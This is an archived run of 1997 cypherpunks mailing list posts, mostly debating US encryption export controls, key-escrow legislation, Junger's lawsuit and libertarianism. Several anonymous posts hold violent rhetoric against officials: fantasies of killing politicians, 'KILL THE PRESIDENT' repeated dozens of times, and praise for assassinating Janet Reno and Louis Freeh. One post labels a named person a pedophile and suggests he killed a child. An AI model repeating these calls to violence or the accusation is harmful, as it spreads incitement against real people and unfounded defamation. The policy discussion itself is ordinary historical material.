one of you cops to possessing it, I'm going to have to take you all in."

Am I stupid enough to be a cop, now?
If not, then we can kill people by taking them to the roofs of buildings
and throwing them to the ground. Then we can pass roof and ground
registration laws.
"Hey, pal. Your feet are on the ground. You got a permit?"
"Sorry pal, this permit is for a different piece of ground. I'm going
to have to take you in. And, since the sun is out, you're going to get
an extra five years for possession of the sun in the commission of a
crime."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 12 Sep 1997 23:00:49 +0800
To: cypherpunks@toad.com
Subject: In Defense of Libertarianism, from HotWired's Synapse
Message-ID: <Pine.GSO.3.95.970912074706.16588C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---

http://hotwired.com/synapse/feature/97/36/mccullagh4a_1.html

HotWired - Synapse (http://hotwired.com/synapse/)
12 September 1997

In Defense of Libertarianism
by Declan McCullagh (declan@well.com) and Solveig Singleton (sberns@cato.org)
   
   Libertarianism, as a rule, attracts the most strident criticism from
   those who understand it the least. Expending little or no effort on
   research, critics barely familiar with libertarian ideas concoct an
   unappetizing stew of ideas - anarchism, egoism, and plain selfishness
   and greed - and mistakenly dub it libertarianism. Small surprise,
   then, that this ideological bouillabaisse tastes revolting. Such
   critics aren't describing libertarianism, but their own fanciful
   creation.
   
   Libertarianism is not about anarchy, utopia, or selfishness. Instead,
   libertarians simply are skeptical of "nanny government," and recognize
   the many ways state power has been abused in the past. They believe
   that government programs like health assistance, Social Security,
   foreign aid, and corporate welfare do more harm than good. They argue
   that everyone must be equal before the law, and everyone has human
   rights to personal security, to property, and to free speech that the
   government must protect, not violate.
   
   Synapse columnist Brooke Shelby Biggs recently suggested that such
   skepticism about authority is a sign of immaturity, asking us to
   remember how we felt about authority when we were 12. "Despite the
   fact that you knew exactly where everything was in your, uh ...
   alternatively organized bedroom, Mom still insisted you clean it up,"
   she writes. Eventually you grew out of it. Now you're an adult and can
   think for yourself. Or can you? Not according to nanny government.
   
   Together the left and the right conspire to dictate what you can eat,
   see, read, smoke, and talk about. Leftists contend that the state
   should regulate the economy (and technology), but not morality.
   Conservatives claim that the government should leave the economy
   alone, but should legislate what you're allowed to do online or in
   your bedroom. Only libertarians have a consistent philosophy: The
   state can't be trusted to screw around with the economy, to control
   your private life, or to police the Internet.
   
   Consider the recent bipartisan onslaughts against the Net. Democrats
   have been particularly unrelenting in their attacks. President Clinton
   endorsed the Communications Decency Act, signed it into law, then
   dragged the fight all the way to the Supreme Court. Ridiculously, he
   insists that Cold War-era restrictions on overseas shipments of
   encryption products are a good idea. Adding insult to injury, Clinton
   has backed copyright laws that would require Internet providers to
   police what their users talk about online. Then there are Clinton's
   demands for more and more wiretapping authority for the FBI - a plan
   that might have made even J. Edgar Hoover blush. (And this president
   once taught constitutional law?)
   
   Republicans have been just as censorship-happy. They, too, supported
   the CDA, which the Senate approved overwhelmingly. Even after the
   nation's highest court ruled such broad censorship unconstitutional,
   some GOP senators pledged to try again. Others are teaming up with the
   White House to make the Internet easily snoopable by spooks, expand
   government databases, issue national ID cards, and wrest away your
   privacy and freedom, one Social Security number at a time.

[...]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 12 Sep 1997 14:11:14 +0800
To: cypherpunks@toad.com
Subject: Soldiers
Message-ID: <199709120549.HAA28490@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Is there a small country that a thousand of us could go to and get 
citizenship and then have the country declare war on the U.S. after
we are all back in the country?
If a thousand of us could kill as many people as we could until we got
caught, then we could kill a lot of people who are bad for the country
and then once we're all caught the small country could surrender and
we would all have to be released as prisoners of war, right?
We could all be privates. They can't blame privates because they have
to follow orders.
The guys in the small country could make old guys who were dying soon
the leaders, and then when it was time to quit, they could overthrow
them and get US government aid. They could set the old guys trial dates
for two years down the road and then send them home to die.
I saw a guy get killed once and they told the guy who killed him that
he shouldn'a done it and they sent him home and said we'll call you
and then they took the dead guys sister to jail because she wouldn't
stop saying fuck.
When they were taking her away I told her she should kill the cops and
then go home and wait for them to call.
How about if we made a law that you had to kill the president and your
congressmen and senators and if you didn't you had to pay a $500.00 fine
every year? Do you think they would make sure we all made some money?
How about a law here you could kill any politician that forgot to call
you sir or ma'am? Or who forgot your birthday?
We could save a lot of money just by putting all the politicians who are
running for office on a stage and then killing them at random until we
had the right number left. Then they would have to think about if they
really wanted it.
How about if we let people be elected on a first-come first-serve basis
but then we could vote to kill them any time we wanted. Think they 
would do things to make us not want to kill them instead of the other
way around like it is now?
How about if we killed all of them and just pretended there was someone
running the country. Is that a good idea?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Fri, 12 Sep 1997 20:13:24 +0800
To: Cypherpunks <cypherpunks@cyberpass.net>
Subject: Re: House National Security committee guts SAFE, worse than no bill
In-Reply-To: <199709101229.NAA02196@server.test.net>
Message-ID: <199709121203.IAA11005@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back writes:

: 
: Declan McCullagh <declan@well.com> writes:
: > 
: > I was talking to someone after a law class this evening (we're covering
: > electronic privacy topics, but unfortunately we're not at crypto yet). He
: > suggested widespread civil disobedience. 
: 
: Might I suggest using RSA in perl:
: 
: print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
: )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`
: 
: which is now officially non-exportable (as reported by Peter Junger;
: he asked for serveral code examples and this one was one of the
: non-exportable ones).  Short enough to make them look silly, short
: enough that most people don't have qualms about quoting, or using as a
: .sig.  And they've committed themselves in writing to Peter Junger
: that you're not allowed to export it.

For the classification by the commerce department of the programs that
my Legal Attack Team submitted, and for the applications, see
<http://samsara.law.cwru.edu/comp_law/jvd/index.html>.  

It is unlikely that we will be seeking further classifications in
connection with my suit, but it might be an interesting and useful
project---not involving civil disobedience---for some of you.  It
would be interesting to see exactly which encryption programs the
bureaucrats classify as encryption programs, and which they don't.
It would also be interesting to see if they give the same
classifications in response to requests by those who are not suing
them.

I must, however, warn you that it is not an easy project.  It cannot
be done by e-mail and you have to get numbered forms from Commerce
Department on which the applications must be submitted.  In fact,
the difficulty of applying for a classification or a license is one of
the many reasons for concluding that the export restrictions on
cryptography violate the United States Constitution.  

It would certainly be helpful if it turned out that that Commerce
cannot or will not respond promptly to classification requests made by
would-be publishers of cryptographic software who are neither
commercial publishers nor suing to enjoin the enforcement of the 
regulations.
 
--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Fri, 12 Sep 1997 20:25:38 +0800
To: Mike Duvos <enoch@zipcon.net>
Subject: Re: Snuffle Destroys United States: Film at 11
In-Reply-To: <19970911052038.32149.qmail@zipcon.net>
Message-ID: <199709121214.IAA11067@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain



Mike Duvos writes:
 
: Correct me if I'm wrong, but I thought "Snuffle" was some
: simple-minded cipher designed to test ITAR.  I didn't think it
: was something anyone would choose to incorporate into a serious
: product.
 
I am quite sure that you are wrong in this.  It is a serious program
written to demonstrate Bernstein's algorithm for converting a secure
hash function (which as it happens is exportable) into an encryption
program (which is not exportable).  It certainly was not written to
test the ITAR and restricting it under the ITAR or the EAR was and is
rather odd as it contains no encryption code itself.  Or, at least,
that is my understanding.

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 12 Sep 1997 20:58:33 +0800
To: cypherpunks@toad.com
Subject: Nat Sec Moves
Message-ID: <1.5.4.32.19970912123922.006c7078@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



NYT reports today on the administration's proposal to
allow more TLA access to medical records (as Attila
earlier noted). A last minute addition to the proposal was to
allow "intelligence agencies" to access the files.

   See the report at: http://www.hhs.gov

A second report is on the return of Sun's supercomputer
by the Chinese after protest by the USG, as represented
by Domstic Export Czar Reinsch. Although Sun is reported to have
quickly provided the gov information to trace the machine,
it may be that the hit of refunding the purchase price is
what Elvis cost, and a warning to all other exporters who
don't toe the line.

What is happening is that borderless government is developing
in step with the borderless political and economic and legal
and technological enterprise. Distinctions between domestic and 
foreign are quickly disappearing in all fields, but especially in law 
enforcement and intelligence. Export controls will shortly
be indistinguishable form domestic controls -- in all nations
now acting in unison to protect their ... take you picks of legacy 
of protected interests.

Misbehave in any arena, and if you can't be punished as a
threat to domestic tranquillity, then the international enforcers
will whack you -- no place to hide, they hope, and pray, and
dig deeper into data mines.

Congressional briefings by TLAs surely include a sample of what's in
the dark holes of congressional members, if not with specifics,
then by insinuation. As all the world's previous Hoovers dared
to threaten the folks at home with enemies within, enemeies subject
to control by international forces -- commie, capital, anarch, western,
eastern, black, white, green. Only the secret files know who's what
flavor of the black budgetary year.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Sat, 13 Sep 1997 00:07:24 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: [fwd][news] Netscape meets gov't security standard
In-Reply-To: <199709102014.UAA01088@fountainhead.net>
Message-ID: <34196385.FB7F5278@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Vipul Ved Prakash wrote:
> 
> *** Netscape meets gov't security standard
> 
> Netscape Communications Corporation announced Monday the National
> Institute of Standards and Technology and the Canadian Security
> Establishment validated the security code in Netscape Communicator
> client software and Netscape SuiteSpot server software as meeting
> Federal Information Processing Standards Publications 140-1, "Security
> Requirements For Cryptographic Modules." Netscape is the only Internet
> software vendor to comply with the FIPS 140-1 security standard, the
> company said. (PR Newswire) See full story at
> http://www.infobeat.com/stories/cgi/story.cgi?id=4840046-429

For those of you interested, we are validated at level 2 when used on a
C2 OS, level 1 otherwise.  You can find more info at
http://home.netscape.com/assist/security/faqs/fips140-1.html

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 13 Sep 1997 00:33:54 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: House panel votes behind closed doors to build in Big Brother
In-Reply-To: <Pine.GSO.3.95.970911233758.23060M-100000@well.com>
Message-ID: <3.0.2.32.19970912090513.00753244@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:38 PM 9/11/97 -0700, Declan McCullagh wrote:
>That's why the encryption outlook in Congress is abysmal. Crypto-advocates
>have lost, and lost miserably. A month ago, the debate was about export
>controls. Now the battle is over how strict the //domestic// controls will
>be. It's sad, really, that so many millions of lobbyist-dollars were not
>only wasted, but used to advance legislation that has been morphed into a
>truly awful proposal. 

This disaster came about because those with the millions of dollars spent
their money on lobbying rather than creating new, strong, crypto software.

There is only one way to aid the spread of strong crypto and stand up to GAK:

Cypherpunks write code.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sat, 13 Sep 1997 00:37:22 +0800
To: "James S. Tyre" <declan@well.com>
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <Pine.GSO.3.95.970911214229.23060C-100000@well.com>
Message-ID: <v03007834b03f19c50d45@[207.94.249.39]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:05 PM -0700 9/11/97, James S. Tyre wrote:
>So, the last rhetorical question -- how do you convince someone who's
>never used a browser (the vast majority of the voting populace, I'd
>think) why crypto is important?

When I walk through South-of-Market in San Francisco and hear people
trading URL in conversation as the walk down the street and see URLs on TV,
Billboards and even the side of busses, I wonder if this assumption is
really true.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "J. Lasser" <jonl@post.goucher.edu>
Date: Fri, 12 Sep 1997 21:54:56 +0800
To: David H Dennis <david@amazing.com>
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <Pine.GSO.3.95.970911214229.23060C-100000@well.com>
Message-ID: <19970912092721.39213@rwd.goucher.edu>
MIME-Version: 1.0
Content-Type: text/plain



In the wise words of David H Dennis:

> I must confess that I'm wondering what Seth Finkelstein, Pro-Government
> Warrior, able to jump over 50 Libertarians in a single bound, thinks of
> all this.  Crypto restrictions are natural to oppose in a Libertarian
> world, due to our fundemental distrust of government.  Where do they
> fit in a Liberal one?

I'm not Seth, but I'm also not a libertarian. (I'm also not a
'Liberal', in the sense in which you're using it, but hey...) and I
think I can answer this question:

Most 'Liberals' (virtually all of them) are _civil_ libertarians. This
means that they support few or no restrictions on the actions of
private individuals, unless (1) They are of a commercial nature or (2)
They involve fraud or hurting people.  Most instances of (1) which are
inappropriate also involve (2), as far as they're concerned.

What they don't believe is that a right to unlimited free speech
translates into a right to do anything so long as it's not damaging
directly to others. And a couple of other things :-)

But most liberals think individuals using crypto is just fine. All the
civil libertarians do, and most liberals are.

Jon
-- 
Jon Lasser (410)383-7962                      jonl@post.goucher.edu
http://www.goucher.edu/~jlasser/            PGP key = 1024/EC001E4D
      "Flap your ears, Dumbo!  The feather was only a trick!"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 12 Sep 1997 22:04:06 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Any talk of limiting _existing_ crypto?
In-Reply-To: <v03102809b03e747663d3@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970912095348.24709B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Actually, the legislation will ban sale of nonescrowed crypto immediately
upon passage.

As for existing products, no such proposal in draft form... yet... But if
people can use old non-GAK'd crypto, won't terrorists still us it? The
logical conclusion of the FBI's argument is to ban non-GAK'd crypto
outright. I asked Sen. Kyl, Arizona Republican, why he didn't do this. His
response? He didn't have the votes.

At least two months ago.

-Declan


On Thu, 11 Sep 1997, Tim May wrote:

> 
> OK, so the imminent legislation will ban sale or distribution unescrowed
> crypto products after 1999 or 2000 or whatever. Exact details unclear. But
> I see no language declaring existing products to be contraband. (Though
> such language could still come, of course...nothing would surprised me at
> this point.)
> 
> So, what about Alice and Bob using PGP 5.0 or Explorer with S-MIME, or
> whatever. Plenty of crypto already out there. They can drop their encrypted
> text into whatever mail program or browser they're using.
> 
> If existing crypto is fully legal to use, then it could be years and years
> before the Freeh-Reno-SAFE outlawing has any significant effect.
> 
> Is there any reasonable interpretation of any of the SAFE or Pro-CODE bills
> that could make it illegal to use preexisting crypto programs (before the
> ban)? Any way they could make it illegal to use PGP or Lotus Notes or
> whatever in conjunction with a mailer or browser?
> 
> 
> If not, then our strategy should be to get the simpler, text-centric,
> crypto programs massively and widely deployed. Spend the year or so we have
> before D-Day getting crypto onto every CD-ROM being distributed, every
> public domain site, etc.
> 
> (An old strategy, and one great progress has been made on. But now we have
> to really go into high gear, to _really_ get crypto widely deployed.)
> 
> Integration with mailers and browsers may not even be such a good idea, as
> the evolution of such products will cause obsolescence. Better, perhaps, to
> leave the crypto at the "text edit" level, the ASCII level, where it can be
> dropped in cleanly to whatever program is current. (Also an old strategy,
> one with many advantages.)
> 
> The war criminals in Washington will have a real hard time rounding up the
> crypto deployed between now and D-Day.
> 
> Fucking criminals. Fight the _real_ criminals. Nuke em til they glow.
> 
> --Tim May
> 
> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David H Dennis <david@amazing.com>
Date: Sat, 13 Sep 1997 01:15:49 +0800
To: sethf@mit.edu (Seth Finkelstein)
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <9709120730.AA15341@frumious-bandersnatch.MIT.EDU>
Message-ID: <199709121702.KAA15772@remarkable.amazing.com>
MIME-Version: 1.0
Content-Type: text/plain



> > From: David H Dennis <david@amazing.com>
> > I must confess that I'm wondering what Seth Finkelstein, Pro-Government 
> > Warrior,
> 
> 	I resent this part of the description, but let it pass.

It was meant to be amusing, not insulting; I apologise to you for it.

> > thinks of all this. Crypto restrictions are natural to oppose in a
> > Libertarian world, due to our fundamental distrust of government.
> > Where do they fit in a Liberal one?
> 
> 	I'm *solidly* against such restrictions. Hey, if *Lizard* recommends
> me here, you've got to believe it :-).

No question about this.

I appreciated your lesson; it was lucid and well written.  Of course the
end result in my mind is to put "Don't trust government" in boldface italic
letters about fifty points high.

D






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 13 Sep 1997 01:19:53 +0800
To: Glenn Hauman <declan@well.com>
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <v0310280fb03e85064817@[207.167.93.63]>
Message-ID: <v03102800b03f2612ab6a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:13 AM -0700 9/12/97, Glenn Hauman wrote:
>At 1:42 AM -0400 9/12/97, Tim May wrote:
>>At 10:05 PM -0700 9/11/97, James S. Tyre wrote:
>>
>>>So, the last rhetorical question -- how do you convince someone who's
>>>never used a browser (the vast majority of the voting populace, I'd
>>>think) why crypto is important?
>>
>>This is back to where we were four and a half years ago, when Clipper was
>>dropped on us. "How do we educate the users?"
>>
>>Trust me, it's a hopeless task. We don't have the advertising budgets, the
>>staff for education, etc.
>>
>>And it ain't our responsibility to "save" the sheeple.
>
>True, but if it's war, we gotta get more troops. I don't want to save them,
>I want more troops on my side.
>
>Education is good. Exploiting FUD is probably better. (DoJ's learned
>something from dealing with Microsoft.) Luckily, it ain't that hard to whip
>up Fear, Uncertainty and Doubt against the US Government.

Fair enough. If you can launch an education program, well and good.

I'm just pointing out that we saw this situation several years ago with
Clipper. The list was, predictably, sidetracked with literally thousands of
suggestions about how best to recruit more public supporters. T-shirts,
gimmicks, and suggestions for songs about crypto, for getting t.v.
producers to put crypto, pro-privacy themes in their t.v. shows, and so on.
All pretty hopeless, wouldn't you say?

As Lucky Green just said, "Cypherpunks write code."

(This can be either direct code, or memetic code, or things related to
getting actual technological changes distributed. What Cypherpunks _don't_
do is try to play the Beltway game that Jerry Berman and his ilk play  (so
poorly, for our issues), or to try to play the Hollywood and Madison Avenue
games of swaying popular opinion.)

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Smith" <jsmith58@hotmail.com>
Date: Sat, 13 Sep 1997 01:27:28 +0800
To: cypherpunks@cyberpass.net
Subject: unSAFE won't pass?
Message-ID: <19970912172053.2605.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



So, does anybody besides me think these crypto bills aren't going
anywhere?  I still think it's just a trick to get the original bill
killed.  No way are most congresscritters going to vote for this
with all the opposition that's coming out.  Just my opinion...

"John


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Syniker@aol.com
Date: Fri, 12 Sep 1997 22:33:32 +0800
To: cypherpunks@toad.com
Subject: Re: Any talk of limiting _existing_ crypto?
Message-ID: <970912101858_1661449953@emout07.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



>> Make it work simply for everyone with the push of a single button.
It doesn't have to be secure, it has to be convenient. The only thing
the masses need is the illusion of security. Then they will cry loudly
when someone tries to take it away.
  Make it so that those who want strong security can jump through the
necessary hoops to get it from the same program so that they can't
take away yours and leave them with theirs.<<

My feelings exactly... both levels 'need to be'.... but the
simple level is what's needed most right now...
I think a great number of people will be really angry at any potential
seeming loss of 'privacy' in personal matters...
or -- commercial for that matter...
but most will have difficulty ... if it isn't an easy 'fix' for 'em...

Larry.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 12 Sep 1997 16:33:48 +0800
To: cypherpunks@toad.com
Subject: Please don't KILL THE PRESIDENT
Message-ID: <199709120824.KAA15622@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Youth In Asia Society:

At our last monthly meeting, we discussed all of the reasons there are
not to KILL THE PRESIDENT.
We think it is our duty to inform people of our objection to those who
believe it is necessary to KILL THE PRESIDENT.
We also object to people who are constantly running around, shouting,
incessantly, "KILL THE PRESIDENT! KILL THE PRESIDENT! KILL THE 
PRESIDENT! KILL THE PRESIDENT! KILL THE PRESIDENT! KILL THE PRESIDENT! 
KILL THE PRESIDENT! KILL THE PRESIDENT! KILL THE PRESIDENT! KILL THE 
PRESIDENT! KILL THE PRESIDENT! KILL THE PRESIDENT! KILL THE PRESIDENT!"
We think that this is rude.

So we would ask you please not to KILL THE PRESIDENT!
We don't want you to KILL THE PRESIDENT!
We think it is inadvisable for you to KILL THE PRESIDENT!
We certainly hope that you won't KILL THE PRESIDENT!
We hope that no one you know decides to KILL THE PRESIDENT!
We are dedicated in our efforts to convince people not to KILL THE
PRESIDENT!
We think that we will be successful in our efforts to convince
people not to KILL THE PRESIDENT!
We don't ask to be thanked for advising people not to KILL THE
PRESIDENT!
Nor do we expect to be thanked for advising people not to run around
incessantly screaming "KILL THE PRESIDENT! KILL THE PRESIDENT! KILL THE
PRESIDENT! KILL THE PRESIDENT! KILL THE PRESIDENT! KILL THE PRESIDENT!
KILL THE PRESIDENT! KILL THE PRESIDENT! KILL THE PRESIDENT! KILL THE
PRESIDENT! KILL THE PRESIDENT! KILL THE PRESIDENT! KILL THE PRESIDENT!
KILL THE PRESIDENT! KILL THE PRESIDENT! KILL THE PRESIDENT! KILL THE
PRESIDENT! KILL THE PRESIDENT! KILL THE PRESIDENT! KILL THE PRESIDENT!
KILL THE PRESIDENT! KILL THE PRESIDENT! KILL THE PRESIDENT!"

That's why we post anonymously.
We're humble.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 12 Sep 1997 16:40:28 +0800
To: cypherpunks@toad.com
Subject: Damn Do-Gooders
Message-ID: <199709120828.KAA16212@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



It's people like this that are ruining the country.

Anonymous wrote:
>Dave Del Torto wrote: 
>> "All members of Congress, and particularly those of us on the Intelligence
>> Committee, have a responsibility to find the proper balance between forward
>> thinking commercial policies and the unquestioned need to protect the
>> security of the American people and America's national interests." said 
>> HPSCI Chairman Porter J. Goss

>I think we should all send Chairman Goss a letter of appreciation for
>his offer to assassinate Child Murderer Janet Reno and Murderer Louis
>Freeh. Most politicians are too cowardly to promise strong actions such
>as this.

I wish this damn do-gooder would just let me kill them myself.
I hate owing people.

Do-Badder





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 12 Sep 1997 22:49:03 +0800
To: cypherpunks@toad.com
Subject: 9-12-97 Cybertimes on crypto
Message-ID: <1.5.4.32.19970912143439.008329b4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



September 12, 1997
Cybertimes


"House Committee Casts Wide Net With Encryption Vote" by Jeri Clausing

"Mockery and Fear Greet Encryption Plan" by Peter Wayner





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 12 Sep 1997 23:25:16 +0800
To: cypherpunks@toad.com
Subject: Re: Information Please
In-Reply-To: <199709120224.EAA09212@basement.replay.com>
Message-ID: <DeaXce1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:

> 
> I am interested in researching possible legal grounds for taking armed
> action against politicians governments and law enforcement agencies.
> 
> I would appreciate any pointers anyone might be able to provide to 
> any material of this nature.
> 
> Of particular interest would be information as to the application of
> International law in this area.
> 
> I am assuming of course that there must be some form of law somewhere
> which recognizes the right to resist oppression and violation of human
> rights by any government elected or not.
> 

Start with the Declaration of Independence... :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 12 Sep 1997 23:25:39 +0800
To: cypherpunks@toad.com
Subject: Re: Different Ways Polly Klaas Could Have Been Killed
In-Reply-To: <VMutQOcXvpHjxKLZjYV9eQ==@bureau42.ml.org>
Message-ID: <9NaXce2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



bureau42 Anonymous Remailer <remailer@bureau42.ml.org> writes:

> 
> Different Ways Polly Klaas Could Have Been Killed:
> 

Did Pedophile Chris Lewis kill Polly Klaas?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Fri, 12 Sep 1997 16:57:27 +0800
To: cypherpunks@toad.com
Subject: Re: in defense of Lon Horiuchi
Message-ID: <199709120843.KAA01441@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



When I posted "in defense of Lon Horiuchi" I had intended not
to follow up on the thread, but the several responses I've
read (which were more reasoned and polite than I had expected--
thanks guys) indicate that I didn't explain myself clearly.


It was not my intention to argue that Lon Horiuchi is a good
guy, that he fulfilled his responsibilities with appropriate 
care, that he's a good shot, that he worked in an honorable 
profession, that he is blameless in the death of the child, or
such.  (I may or may not _believe_ some of these propositions,
but I'll spare you for you the full littany of my opinions.)  
All I intended to assert was that Lon Horiuchi is almost 
certainly not the malicious baby-killing murderer that 
Anonymous portrayed.


There are many issues one could legitimately argue regarding
a policeman who accidentally kills a non-combatant bystander
during a fight.  But comparing such a policemen to a
terrorist who deliberately targets non-combatants with a bomb
is beyond the pale.  That, but for my interruption, this
comparison would have passed unremarked among the cypherpunks
crowd is damning.



Why I'm posting:

I don't expect that merely because of my contradiction the
more rabid cypherpunks will suddenly throw off their twin
blinders of ideology and hatred.  Neither do I desire that
they retreat into closed conversation where they can continue
their self-inflaming rants without fear of interruption.  My
motivation in posting critical articles like these is primarily
because there are a great number of silent readers of the 
cpunks list, and some of these people, perhaps being young or
inexperienced, may consider such vile slanders to be 
self-evident truths if they continually see them pass 
unchallenged.



Regards,

Zooko





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@dnai.com>
Date: Sat, 13 Sep 1997 02:37:10 +0800
To: Glenn Hauman <declan@well.com>
Subject: Re: The problem of playing politics with our constitutional   rights
In-Reply-To: <3.0.32.19970911223056.00cd1da8@dnai.com>
Message-ID: <3.0.3.32.19970912110426.0324099c@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 11:14 AM 9/12/97 -0400, Glenn Hauman wrote:
>At 1:38 AM -0400 9/12/97, Lizard wrote:
>
>><SETH>And here we see more of the cult's recruitment. Note how he 
always
>>talks about the *GOVERNMENT* and the *IRS*. Why doesn't he talk 
about Pepsi
>>or GM wanting the keys to your house? More of this 'government bad,
>>business good' propaganda we've all grown so sick and tired of, 
being
>>shoved down our throats. Small wonder this list has gone to hell!" 
</SETH>
>
>Say what? Do you know how much companies pay for information about 
you as a
>member of a demographic? (Think Equifax, Nielsen, or any mailing 
list
>company.)
>
>Corporations want as much info on you as possible-- luckily, the 
only
>reason they want it is to sell you stuff, not to arrest you.

Sure...that's where the whole privacy debate comes in. Basic point 
is, if I take steps to hide that information from them, they can't 
shoot me. No company, to my knowledge, is claiming a *right* to know 
things about me -- they may demand to know things about me as their 
half of a contract, but I'm free to refuse, or falsify. And I often 
do.

I wonder if the government could 'sell' GAK to liberals, at least the 
dumber ones (not anyone on this list), by saying, "And we'll use it 
to make sure that information collected about you on the web isn't 
